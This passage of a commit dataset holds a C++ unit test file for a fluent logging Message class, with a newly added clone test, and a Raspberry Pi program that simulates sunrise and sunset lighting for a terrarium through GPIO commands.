[\"a\", [\"b\", 1], {\"c\": 1}}]\n\n  std::string expect = encode_msgpack(\"['a',['b', 1],{'c'=>1}]\");\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST_F(MessageTest, NestMap) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n  \n  obj->set(\"a\", 1);  \/\/ {\"a\":1}\n  fluent::Message::Array *arr = obj->retain_array(\"b\"); \/\/ {\"a\":1, \"b\": []}\n  ASSERT_TRUE(arr != nullptr);\n  arr->push(2); \/\/ {\"a\":1, \"b\": [2]}\n  arr->push(3); \/\/ {\"a\":1, \"b\": [2, 3]}\n  fluent::Message::Map *map = obj->retain_map(\"c\");\n  \/\/ {\"a\":1, \"b\": [2, 3], \"c\": {}}\n  ASSERT_TRUE(map != nullptr);\n  map->set(\"d\", 4);   \/\/ {\"a\":1, \"b\": [2, 3], \"c\": {\"d\":4}}\n\n  std::string expect = encode_msgpack(\"{'a'=>1, 'b'=>[2,3], 'c'=>{'d'=>4}}\");\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST_F(MessageTest, NotOverwriteMap) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n\n  EXPECT_TRUE(obj->set(\"a\", 1));\n  EXPECT_FALSE(obj->set(\"a\", 2));\n\n  std::string expect = encode_msgpack(\"{'a'=>1}\");\n\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST(Message, link) {\n  \/\/ TODO: add tests\n}\n\nTEST(Message, MapGetObject) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n  obj->set(\"i\", 1);\n  obj->set(\"s\", \"test\");\n  obj->set(\"f\", 3.141592);\n  obj->set(\"b\", true);\n  fluent::Message::Map *map = obj->retain_map(\"m\");\n  map->set(\"gnome\", 1);\n  fluent::Message::Array *arr = obj->retain_array(\"a\");\n  arr->push(\"druid\");\n  \n  \/\/ Check Key.\n  EXPECT_TRUE(obj->has_key(\"i\"));\n  EXPECT_TRUE(obj->has_key(\"s\"));\n  EXPECT_TRUE(obj->has_key(\"f\"));\n  EXPECT_TRUE(obj->has_key(\"b\"));\n  EXPECT_TRUE(obj->has_key(\"m\"));\n  EXPECT_TRUE(obj->has_key(\"a\"));\n  EXPECT_FALSE(obj->has_key(\"x\"));\n\n  \/\/ Get objects.\n  const fluent::Message::Object &obj_i = obj->get(\"i\");\n  const fluent::Message::Object &obj_s = obj->get(\"s\");\n  const fluent::Message::Object &obj_f = obj->get(\"f\");\n  const fluent::Message::Object &obj_b = obj->get(\"b\");\n  const fluent::Message::Object &obj_m = obj->get(\"m\");\n  const fluent::Message::Object &obj_a = obj->get(\"a\");\n  EXPECT_THROW(obj->get(\"x\"), fluent::Exception::KeyError);  \n\n  \/\/ Check types.\n  EXPECT_TRUE(obj_i.is<fluent::Message::Fixnum>());\n  EXPECT_TRUE(obj_s.is<fluent::Message::String>());\n  EXPECT_TRUE(obj_f.is<fluent::Message::Float>());\n  EXPECT_TRUE(obj_b.is<fluent::Message::Bool>());\n  EXPECT_TRUE(obj_m.is<fluent::Message::Map>());\n  EXPECT_TRUE(obj_a.is<fluent::Message::Array>());\n  \n  \/\/ Convert to appropriate type.\n  const fluent::Message::Fixnum &i = obj_i.as<fluent::Message::Fixnum>();\n  const fluent::Message::String &s = obj_s.as<fluent::Message::String>();\n  const fluent::Message::Float &f = obj_f.as<fluent::Message::Float>();\n  const fluent::Message::Bool &b = obj_b.as<fluent::Message::Bool>();\n  const fluent::Message::Map &m = obj_m.as<fluent::Message::Map>();\n  const fluent::Message::Array &a = obj_a.as<fluent::Message::Array>();\n  EXPECT_THROW(obj_i.as<fluent::Message::String>(),\n               fluent::Exception::TypeError);\n  EXPECT_THROW(obj_i.as<fluent::Message::Float>(),\n               fluent::Exception::TypeError);\n\n  \/\/ Check values.\n  EXPECT_EQ(i.val(), 1);\n  EXPECT_EQ(s.val(), \"test\");\n  EXPECT_EQ(f.val(), 3.141592);\n  EXPECT_EQ(b.val(), true);\n  \n  EXPECT_TRUE(m.has_key(\"gnome\"));\n  EXPECT_FALSE(m.has_key(\"x\"));\n  EXPECT_EQ(m.get(\"gnome\").as<fluent::Message::Fixnum>().val(), 1);\n  EXPECT_EQ(a.size(), 1);\n  EXPECT_EQ(a.get(0).as<fluent::Message::String>().val(), \"druid\");\n\n  EXPECT_THROW(a.get(1), fluent::Exception::IndexError);\n}\n<commit_msg>add Message::clone test<commit_after>\/*-\n * Copyright (c) 2015 Masayoshi Mizutani <mizutani@sfc.wide.ad.jp>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS\n * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <signal.h>\n#include \".\/gtest.h\"\n#include \"..\/src\/fluent\/message.hpp\"\n#include \"..\/src\/fluent\/exception.hpp\"\n#include \"..\/src\/debug.h\"\n\nclass MessageTest : public ::testing::Test {\nprivate:\n  enum { RP = 0, WP = 1 };\n  \nprotected:\n  msgpack::sbuffer sbuf_;\n  msgpack::packer<msgpack::sbuffer> pkr_;\n  MessageTest() : pkr_(&(this->sbuf_)) {}\n  virtual ~MessageTest() {}\n  virtual void SetUp() {}\n  virtual void TearDown() {}\n\n  std::string encode_msgpack(const std::string ruby_code) {\n    std::stringstream ss;\n    ss << \"d=\" << ruby_code << \";\" <<\n      \"require 'msgpack'; STDOUT.write(d.to_msgpack) \";\n    \n    int pipe_c2p[2], pipe_p2c[2];\n    pipe(pipe_c2p);\n    pipe(pipe_p2c);\n    \n    pid_t pid = fork();\n    if (pid == 0) {\n      \/\/ Running as child.\n      std::vector<std::string> arg = {\"ruby\"};\n      char **argv = new char*[arg.size() + 1];\n      for (size_t i = 0; i < arg.size(); i++) {\n        argv[i] = const_cast<char*>(arg[i].c_str());\n      }\n      argv[arg.size()] = NULL;\n\n      close(pipe_p2c[WP]);\n      close(pipe_c2p[RP]);\n      \n      dup2(pipe_p2c[RP], 0);\n      dup2(pipe_c2p[WP], 1);\n      close(pipe_p2c[RP]);\n      close(pipe_c2p[WP]);\n\n      if (execvp(\"ruby\", static_cast<char *const *>(argv)) < 0) {\n        perror(\"execvp\"); \n      }\n    }\n\n    \/\/ Running as parent.\n    write(pipe_p2c[WP], ss.str().c_str(), ss.str().length());\n    close(pipe_p2c[WP]);\n    char buf[BUFSIZ];\n    int stat;\n    int rsize = read(pipe_c2p[RP], buf, BUFSIZ);\n    int rc = waitpid(pid, &stat, 0);\n    EXPECT_EQ(pid, rc);\n\n    std::string res(buf, rsize);\n    return res;\n  }\n};\n\nTEST(Message, basic) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n  msgpack::sbuffer sbuf;\n  msgpack::packer<msgpack::sbuffer> pkr(&sbuf);\n\n  EXPECT_TRUE(obj->set(\"abc\", 1));\n\n  \/*\n    require 'msgpack'; a=[]; {'abc'=>1}.to_msgpack.each_byte{|v| \n    a.push(sprintf(\"0x%02X\", v))};puts \"{#{a.join(', ')}};\"\n  *\/\n  uint8_t data[] = {0x81, 0xa3, 0x61, 0x62, 0x63, 0x01};\n  obj->to_msgpack(&pkr);\n  EXPECT_EQ(sbuf.size(), sizeof(data));\n  EXPECT_TRUE(0 == memcmp(sbuf.data(), data, sizeof(data)));  \n}\n\nTEST_F(MessageTest, Map) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n  \/\/ Bool\n  EXPECT_TRUE(obj->set(\"bool\", true));\n  \/\/ Float\n  EXPECT_TRUE(obj->set(\"float\", 34.567));\n  \/\/ Fixnum\n  EXPECT_TRUE(obj->set(\"int\", 2345));\n  \/\/ String\n  EXPECT_TRUE(obj->set(\"str\", \"test\"));\n\n  std::string expect = encode_msgpack(\"{'bool'=>true, 'float'=>34.567, \"\n                                      \"'int'=>2345, 'str'=>'test', }\");\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST_F(MessageTest, Array) {\n  fluent::Message::Array *obj = new fluent::Message::Array();\n  \/\/ Bool\n  obj->push(true);\n  \/\/ Float\n  obj->push(34.567);\n  \/\/ Fixnum\n  obj->push(2345);\n  \/\/ String\n  obj->push(\"test\");\n\n  std::string expect = encode_msgpack(\"[true, 34.567, 2345, 'test']\");\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST_F(MessageTest, NestArray) {\n  fluent::Message::Array *obj = new fluent::Message::Array();\n  obj->push(\"a\");  \/\/ [\"a\"]\n  fluent::Message::Array *arr = obj->retain_array(); \/\/ [\"a\", []]\n  ASSERT_TRUE(arr != nullptr);\n  arr->push(\"b\"); \/\/ [\"a\", [\"b\"]]\n  arr->push(1);   \/\/ [\"a\", [\"b\", 1]]\n  fluent::Message::Map *map = obj->retain_map();  \/\/ [\"a\", [\"b\", 1], {}]\n  ASSERT_TRUE(map != nullptr);\n  map->set(\"c\", 1); \/\/ [\"a\", [\"b\", 1], {\"c\": 1}}]\n\n  std::string expect = encode_msgpack(\"['a',['b', 1],{'c'=>1}]\");\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST_F(MessageTest, NestMap) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n  \n  obj->set(\"a\", 1);  \/\/ {\"a\":1}\n  fluent::Message::Array *arr = obj->retain_array(\"b\"); \/\/ {\"a\":1, \"b\": []}\n  ASSERT_TRUE(arr != nullptr);\n  arr->push(2); \/\/ {\"a\":1, \"b\": [2]}\n  arr->push(3); \/\/ {\"a\":1, \"b\": [2, 3]}\n  fluent::Message::Map *map = obj->retain_map(\"c\");\n  \/\/ {\"a\":1, \"b\": [2, 3], \"c\": {}}\n  ASSERT_TRUE(map != nullptr);\n  map->set(\"d\", 4);   \/\/ {\"a\":1, \"b\": [2, 3], \"c\": {\"d\":4}}\n\n  std::string expect = encode_msgpack(\"{'a'=>1, 'b'=>[2,3], 'c'=>{'d'=>4}}\");\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST_F(MessageTest, NotOverwriteMap) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n\n  EXPECT_TRUE(obj->set(\"a\", 1));\n  EXPECT_FALSE(obj->set(\"a\", 2));\n\n  std::string expect = encode_msgpack(\"{'a'=>1}\");\n\n  obj->to_msgpack(&pkr_);\n  EXPECT_EQ(sbuf_.size(), expect.length());\n  EXPECT_TRUE(0 == memcmp(sbuf_.data(), expect.data(), sbuf_.size()));\n}\n\nTEST(Message, linkedMessage) {\n  \/\/ TODO: add tests\n}\n\nTEST(Message, MapGetObject) {\n  fluent::Message::Map *obj = new fluent::Message::Map();\n  obj->set(\"i\", 1);\n  obj->set(\"s\", \"test\");\n  obj->set(\"f\", 3.141592);\n  obj->set(\"b\", true);\n  fluent::Message::Map *map = obj->retain_map(\"m\");\n  map->set(\"gnome\", 1);\n  fluent::Message::Array *arr = obj->retain_array(\"a\");\n  arr->push(\"druid\");\n  \n  \/\/ Check Key.\n  EXPECT_TRUE(obj->has_key(\"i\"));\n  EXPECT_TRUE(obj->has_key(\"s\"));\n  EXPECT_TRUE(obj->has_key(\"f\"));\n  EXPECT_TRUE(obj->has_key(\"b\"));\n  EXPECT_TRUE(obj->has_key(\"m\"));\n  EXPECT_TRUE(obj->has_key(\"a\"));\n  EXPECT_FALSE(obj->has_key(\"x\"));\n\n  \/\/ Get objects.\n  const fluent::Message::Object &obj_i = obj->get(\"i\");\n  const fluent::Message::Object &obj_s = obj->get(\"s\");\n  const fluent::Message::Object &obj_f = obj->get(\"f\");\n  const fluent::Message::Object &obj_b = obj->get(\"b\");\n  const fluent::Message::Object &obj_m = obj->get(\"m\");\n  const fluent::Message::Object &obj_a = obj->get(\"a\");\n  EXPECT_THROW(obj->get(\"x\"), fluent::Exception::KeyError);  \n\n  \/\/ Check types.\n  EXPECT_TRUE(obj_i.is<fluent::Message::Fixnum>());\n  EXPECT_TRUE(obj_s.is<fluent::Message::String>());\n  EXPECT_TRUE(obj_f.is<fluent::Message::Float>());\n  EXPECT_TRUE(obj_b.is<fluent::Message::Bool>());\n  EXPECT_TRUE(obj_m.is<fluent::Message::Map>());\n  EXPECT_TRUE(obj_a.is<fluent::Message::Array>());\n  \n  \/\/ Convert to appropriate type.\n  const fluent::Message::Fixnum &i = obj_i.as<fluent::Message::Fixnum>();\n  const fluent::Message::String &s = obj_s.as<fluent::Message::String>();\n  const fluent::Message::Float &f = obj_f.as<fluent::Message::Float>();\n  const fluent::Message::Bool &b = obj_b.as<fluent::Message::Bool>();\n  const fluent::Message::Map &m = obj_m.as<fluent::Message::Map>();\n  const fluent::Message::Array &a = obj_a.as<fluent::Message::Array>();\n  EXPECT_THROW(obj_i.as<fluent::Message::String>(),\n               fluent::Exception::TypeError);\n  EXPECT_THROW(obj_i.as<fluent::Message::Float>(),\n               fluent::Exception::TypeError);\n\n  \/\/ Check values.\n  EXPECT_EQ(i.val(), 1);\n  EXPECT_EQ(s.val(), \"test\");\n  EXPECT_EQ(f.val(), 3.141592);\n  EXPECT_EQ(b.val(), true);\n  \n  EXPECT_TRUE(m.has_key(\"gnome\"));\n  EXPECT_FALSE(m.has_key(\"x\"));\n  EXPECT_EQ(m.get(\"gnome\").as<fluent::Message::Fixnum>().val(), 1);\n  EXPECT_EQ(a.size(), 1);\n  EXPECT_EQ(a.get(0).as<fluent::Message::String>().val(), \"druid\");\n\n  EXPECT_THROW(a.get(1), fluent::Exception::IndexError);\n}\n\nTEST(Message, clone) {\n  fluent::Message *msg1 = new fluent::Message(\"race.gnome\");\n  msg1->set(\"i\", 1);\n  msg1->set(\"s\", \"warlock\");\n  msg1->set(\"f\", 3.141592);\n  msg1->set(\"b\", true);\n  fluent::Message::Map *map = msg1->retain_map(\"m\");\n  map->set(\"hunter\", 1);\n  fluent::Message::Array *arr = msg1->retain_array(\"a\");\n  arr->push(\"druid\");\n\n  fluent::Message *msg2 = msg1->clone();\n  \/\/ other pointer\n  EXPECT_NE(msg1, msg2);\n  EXPECT_EQ(msg1->tag(), msg2->tag());\n  EXPECT_EQ(msg1->ts(),  msg2->ts());\n\n  \/\/ Get objects.\n  const fluent::Message::Object &obj_i = msg2->get(\"i\");\n  const fluent::Message::Object &obj_s = msg2->get(\"s\");\n  const fluent::Message::Object &obj_f = msg2->get(\"f\");\n  const fluent::Message::Object &obj_b = msg2->get(\"b\");\n  const fluent::Message::Object &obj_m = msg2->get(\"m\");\n  const fluent::Message::Object &obj_a = msg2->get(\"a\");\n  EXPECT_THROW(msg2->get(\"x\"), fluent::Exception::KeyError);  \n\n  \/\/ Check types.\n  EXPECT_TRUE(obj_i.is<fluent::Message::Fixnum>());\n  EXPECT_TRUE(obj_s.is<fluent::Message::String>());\n  EXPECT_TRUE(obj_f.is<fluent::Message::Float>());\n  EXPECT_TRUE(obj_b.is<fluent::Message::Bool>());\n  EXPECT_TRUE(obj_m.is<fluent::Message::Map>());\n  EXPECT_TRUE(obj_a.is<fluent::Message::Array>());\n  \n  \/\/ Convert to appropriate type.\n  const fluent::Message::Fixnum &i = obj_i.as<fluent::Message::Fixnum>();\n  const fluent::Message::String &s = obj_s.as<fluent::Message::String>();\n  const fluent::Message::Float &f = obj_f.as<fluent::Message::Float>();\n  const fluent::Message::Bool &b = obj_b.as<fluent::Message::Bool>();\n  const fluent::Message::Map &m = obj_m.as<fluent::Message::Map>();\n  const fluent::Message::Array &a = obj_a.as<fluent::Message::Array>();\n  EXPECT_THROW(obj_i.as<fluent::Message::String>(),\n               fluent::Exception::TypeError);\n  EXPECT_THROW(obj_i.as<fluent::Message::Float>(),\n               fluent::Exception::TypeError);\n\n  \/\/ Check values.\n  EXPECT_EQ(i.val(), 1);\n  EXPECT_EQ(s.val(), \"warlock\");\n  EXPECT_EQ(f.val(), 3.141592);\n  EXPECT_EQ(b.val(), true);\n  \n  EXPECT_TRUE(m.has_key(\"hunter\"));\n  EXPECT_FALSE(m.has_key(\"x\"));\n  EXPECT_EQ(m.get(\"hunter\").as<fluent::Message::Fixnum>().val(), 1);\n  EXPECT_EQ(a.size(), 1);\n  EXPECT_EQ(a.get(0).as<fluent::Message::String>().val(), \"druid\");\n\n  EXPECT_THROW(a.get(1), fluent::Exception::IndexError);\n\n  \/\/ Check independece among the original message and copied one.\n  msg1->set(\"new\", \"priest\");\n  EXPECT_EQ(\"priest\", msg1->get(\"new\").as<fluent::Message::String>().val());\n  EXPECT_THROW(msg2->get(\"new\"), fluent::Exception::KeyError);\n  delete msg1;\n  delete msg2;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Added support for pixel based LOD's and set the default priority scale to 1.0<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <fstream>\n#include <iostream>\n#include <math.h>\n#include <stdio.h>\n#include <string>\n#include <time.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nusing namespace std;\n\ndouble pi = 3.141592653589793238463;\ndouble todeg = 180.0 \/ pi;\ndouble torad = pi \/ 180.0;\ndouble hstep = 1.0 \/ 24;\ndouble mstep = 1.0 \/ 1440;\ndouble sstep = 1.0 \/ 86400;\n\ndouble riseduration = sstep * 5400;\n\nstruct julian {\n  double jrise;\n  double jset;\n};\n\n\/\/ display fraction of a day in hours and minutes, but return a string\nstring j2h(double jd) {\n  int hr, mn;\n  char buffer[10];\n  hr = (int)(jd * 24);\n  mn = (int)(((jd * 24) - (double(hr))) * 60);\n  snprintf(buffer, sizeof(buffer), \"%02d:%02d\", hr, mn);\n  return buffer;\n}\n\nvoid setlights(double dayhour, double dawn, double rise, double set,\n               double dusk) {\n  bool lights;\n  bool riseordawn;\n  double riseduration_red = riseduration;\n  double riseduration_green = riseduration * 0.8;\n  double riseduration_blue = riseduration * 0.6;\n  double rperc = 1 \/ riseduration_red;\n  double gperc = 1 \/ riseduration_green;\n  double bperc = 1 \/ riseduration_blue;\n  double red = 0, green = 0, blue = 0;\n  char buffer[128];\n\n  \/\/ first check if the main lights should be turned on or off\n  if ((dayhour < rise) || (dayhour > set)) {\n    lights = 0;\n  } else {\n    lights = 1;\n  }\n\n  \/\/ now check if we are in sunrise\n  if ((dayhour >= dawn) && (dayhour <= (rise + mstep))) {\n    riseordawn = 1;\n    red = (dayhour - dawn) * rperc;\n    if (dayhour >= (dawn + (riseduration_red - riseduration_green))) {\n      green =\n          (dayhour - (dawn + (riseduration_red - riseduration_green))) * gperc;\n    }\n    if (dayhour >= (dawn + (riseduration_red - riseduration_blue))) {\n      blue =\n          (dayhour - (dawn + (riseduration_red - riseduration_blue))) * bperc;\n    }\n  } else if ((dayhour >= (set - mstep)) && (dayhour <= dusk)) {\n    \/\/ or are we in sunset\n    red = 1 - ((dayhour - (dusk - riseduration_red)) * rperc);\n    green = 1 - ((dayhour - (dusk - riseduration_red)) * gperc);\n    blue = 1 - ((dayhour - (dusk - riseduration_red)) * bperc);\n    riseordawn = 1;\n  } else {\n    \/\/ or no twilight\n    riseordawn = 0;\n    red = green = blue = 0;\n  }\n\n  \/\/ failsafe if calculations took a wrong direction somewhere\n  if (red > 1) {\n    red = 1;\n  }\n  if (green > 1) {\n    green = 1;\n  }\n  if (blue > 1) {\n    blue = 1;\n  }\n  if (red < 0) {\n    red = 0;\n  }\n  if (green < 0) {\n    green = 0;\n  }\n  if (blue < 0) {\n    blue = 0;\n  }\n\n  \/* \/\/ debugging\n  cout << \"dayhour \" << dayhour << \", lights \" << lights << \", riseordawn \"\n       << riseordawn << \", red \" << red << \", green \" << green << \", blue \"\n       << blue << endl;\n       *\/\n\n  \/\/ write the calculated values to the system\n  \/\/ the pins are hardcoded - that's not very \n  \/\/ nice, but it works...\n  system(\"\/usr\/bin\/gpio mode 8 out\");\n  system(\"\/usr\/bin\/gpio mode 9 out\");\n  snprintf(buffer, sizeof(buffer), \"\/usr\/bin\/gpio write 8 %d\",(int)(lights));\n  system(buffer);\n  snprintf(buffer, sizeof(buffer), \"\/usr\/bin\/gpio write 9 %d\",(int)(riseordawn));\n  system(buffer);\n  if ((red > 0) && (red < 1)) {\n    ofstream filehandler;\n    string filename = \"\/dev\/pi-blaster\";\n    filehandler.open(filename.c_str());\n    if (filehandler.is_open()) {\n      filehandler << \"14=\" << red << endl;\n      filehandler << \"15=\" << green << endl;\n      filehandler << \"18=\" << blue << endl;\n      filehandler.close();\n    }\n  }\n}\n\nstruct julian calcjtimes(time_t t) {\n\n  struct tm *current_time = gmtime(&t);\n  \/\/ longitude west of magdeburg\n  double low = -11.6322;\n  \/\/ latitude of magdeburg\n  double lam = 52.1243;\n  \/\/ latitude of madagascar (if it were on northern hemishpere)\n  \/\/ double lam=22.5;\n\n  \/\/ calculate julian day number based on\n  \/\/ https:\/\/de.wikipedia.org\/wiki\/Julianisches_Datum\n  int m = current_time->tm_mon + 1;\n  int y = current_time->tm_year + 1900;\n  if (m <= 2) {\n    m += 12;\n    y--;\n  }\n  int d = current_time->tm_mday;\n  int a = floor((y) \/ 100);\n  double b = 2 - a + floor(a \/ 4);\n  double jd =\n      floor(365.25 * (y + 4716)) + floor(30.6001 * (m + 1)) + d + b - 1524.5;\n\n  \/\/ calculation of sunrise based on\n  \/\/ https:\/\/en.wikipedia.org\/wiki\/Sunrise_equation\n  \/\/ current julian day\n  double n = jd - 2451545 + 0.0008;\n  \/\/ mean solar noon\n  double js = low \/ 360 + n;\n  \/\/ mean anomaly\n  double ma = fmod((357.5291 + 0.98560028 * js), 360);\n  \/\/ equation of the center\n  double c = 1.9148 * sin(ma * torad) + 0.02 * sin(2 * ma * torad) +\n             0.0003 * sin(3 * ma * torad);\n  \/\/ ecliptic longitude\n  double l = fmod((ma + c + 180 + 102.9372), 360);\n  \/\/ solar transit - it seems they have forgotten the 2451545.5 on the wikipedia\n  \/\/ page. or i did not understand correctly.\n  double jt =\n      2451545.5 + js + 0.0053 * sin(ma * torad) - 0.0069 * sin(2 * l * torad);\n  \/\/ declination of the sun\n  double de = asin(sin(l * torad) * sin(23.44 * torad)) * todeg;\n  \/\/ hour angle\n  double w = acos((sin(-0.83 * torad) - sin(lam * torad) * sin(de * torad)) \/\n                  (cos(lam * torad) * cos(de * torad))) *\n             todeg;\n\n  double jset = jt + w \/ 360;\n  double jrise = jt - w \/ 360;\n\n  struct julian cjt = {jrise, jset};\n\n  return cjt;\n}\n\nint main() {\n  cout << \"starting up...\" << endl;\n  time_t now = time(0);\n  struct tm *nowt;\n  int nowd = localtime(&now)->tm_yday;\n  int curd = nowd + 1;\n  struct julian jt;\n\n  double sunrise;\n  double sunset;\n  double lightson;\n  double lightsoff;\n  double dawn;\n  double dusk;\n\n  \/\/ better float precision for debugging purposes\n  std::cout.setf(std::ios_base::fixed, std::ios_base::floatfield);\n  std::cout.precision(10);\n\n  \/\/ here is the main loop, that just loops over and over again\n  while (true) {\n    now = time(0);\n    nowt = localtime(&now);\n    nowd = nowt->tm_yday;\n    if (nowd != curd) {\n      cout << \"a new day\" << endl;\n      \/\/ the day changed, so this is a new day\n      curd = nowd;\n      jt = calcjtimes(now);\n\n      \/\/ now we have the correct times. first skip the acutal\n      \/\/ date because i only need the times. as julian day .5 is\n      \/\/ 00:00 gmt we have to subtract .5 so we get the correct\n      \/\/ values for hour, minute and second.\n      \/\/ they will be shifted so\n      \/\/ the day of the terrarium matches the day of the owners and\n      \/\/ also i want to have a nice dawn and dusk.\n      \/\/ the dawn and dusk will spread evenly before and after\n      \/\/ the actal sunrise\n\n      sunrise = (jt.jrise - .5 - floor(jt.jrise - .5)) + mstep * 60;\n      sunset = (jt.jset - .5 - floor(jt.jset - .5)) + mstep * 60;\n      lightson = sunrise + riseduration \/ 2;\n      lightsoff = sunset - riseduration \/ 2;\n      dawn = sunrise - riseduration \/ 2;\n      dusk = sunset + riseduration \/ 2;\n      cout << \"name        julian time | utc\" << endl;\n      cout << \"sunrise:    \" << sunrise << \"|\" << j2h(sunrise) << endl;\n      cout << \"sunset:     \" << sunset << \"|\" << j2h(sunset) << endl;\n      cout << \"lights on:  \" << lightson << \"|\" << j2h(lightson) << endl;\n      cout << \"lights off: \" << lightsoff << \"|\" << j2h(lightsoff) << endl;\n      cout << \"dawn start: \" << dawn << \"|\" << j2h(dawn) << endl;\n      cout << \"dusk stop:  \" << dusk << \"|\" << j2h(dusk) << endl;\n    }\n    \/\/ sleep for a second\n    usleep(1000000);\n    \/\/ set the lights\n    setlights(nowt->tm_hour * hstep + nowt->tm_min * mstep +\n                  nowt->tm_sec * sstep,\n              dawn, sunrise, sunset, dusk);\n  }\n  \/\/ this will never be reached, but anyway\n  return 0;\n}\n<commit_msg>formatting and write status to file<commit_after>#include <fstream>\n#include <iostream>\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string>\n#include <time.h>\n#include <unistd.h>\n\nusing namespace std;\n\ndouble pi = 3.141592653589793238463;\ndouble todeg = 180.0 \/ pi;\ndouble torad = pi \/ 180.0;\ndouble hstep = 1.0 \/ 24;\ndouble mstep = 1.0 \/ 1440;\ndouble sstep = 1.0 \/ 86400;\n\ndouble riseduration = sstep * 5400;\n\nstruct julian {\n  double jrise;\n  double jset;\n};\n\n\/\/ display fraction of a day in hours and minutes, but return a string\nstring j2h(double jd) {\n  int hr, mn;\n  char buffer[10];\n  hr = (int)(jd * 24);\n  mn = (int)(((jd * 24) - (double(hr))) * 60);\n  snprintf(buffer, sizeof(buffer), \"%02d:%02d\", hr, mn);\n  return buffer;\n}\n\nvoid setlights(double dayhour, double dawn, double rise, double set, double dusk) {\n  bool lights;\n  bool riseordawn;\n  double riseduration_red = riseduration;\n  double riseduration_green = riseduration * 0.8;\n  double riseduration_blue = riseduration * 0.6;\n  double rperc = 1 \/ riseduration_red;\n  double gperc = 1 \/ riseduration_green;\n  double bperc = 1 \/ riseduration_blue;\n  double red = 0, green = 0, blue = 0;\n  char buffer[128];\n\n  \/\/ first check if the main lights should be turned on or off\n  if ((dayhour < rise) || (dayhour > set)) {\n    lights = 0;\n  } else {\n    lights = 1;\n  }\n\n  \/\/ now check if we are in sunrise\n  if ((dayhour >= dawn) && (dayhour <= (rise + mstep))) {\n    riseordawn = 1;\n    red = (dayhour - dawn) * rperc;\n    if (dayhour >= (dawn + (riseduration_red - riseduration_green))) {\n      green = (dayhour - (dawn + (riseduration_red - riseduration_green))) * gperc;\n    }\n    if (dayhour >= (dawn + (riseduration_red - riseduration_blue))) {\n      blue = (dayhour - (dawn + (riseduration_red - riseduration_blue))) * bperc;\n    }\n  } else if ((dayhour >= (set - mstep)) && (dayhour <= dusk)) {\n    \/\/ or are we in sunset\n    red = 1 - ((dayhour - (dusk - riseduration_red)) * rperc);\n    green = 1 - ((dayhour - (dusk - riseduration_red)) * gperc);\n    blue = 1 - ((dayhour - (dusk - riseduration_red)) * bperc);\n    riseordawn = 1;\n  } else {\n    \/\/ or no twilight\n    riseordawn = 0;\n    red = green = blue = 0;\n  }\n\n  \/\/ failsafe if calculations took a wrong direction somewhere\n  if (red > 1) {\n    red = 1;\n  }\n  if (green > 1) {\n    green = 1;\n  }\n  if (blue > 1) {\n    blue = 1;\n  }\n  if (red < 0) {\n    red = 0;\n  }\n  if (green < 0) {\n    green = 0;\n  }\n  if (blue < 0) {\n    blue = 0;\n  }\n\n  \/* \/\/ debugging\n  cout << \"dayhour \" << dayhour << \", lights \" << lights << \", riseordawn \"\n       << riseordawn << \", red \" << red << \", green \" << green << \", blue \"\n       << blue << endl;\n       *\/\n\n  \/\/ write the calculated values to the system\n  \/\/ the pins are hardcoded - that's not very\n  \/\/ nice, but it works...\n  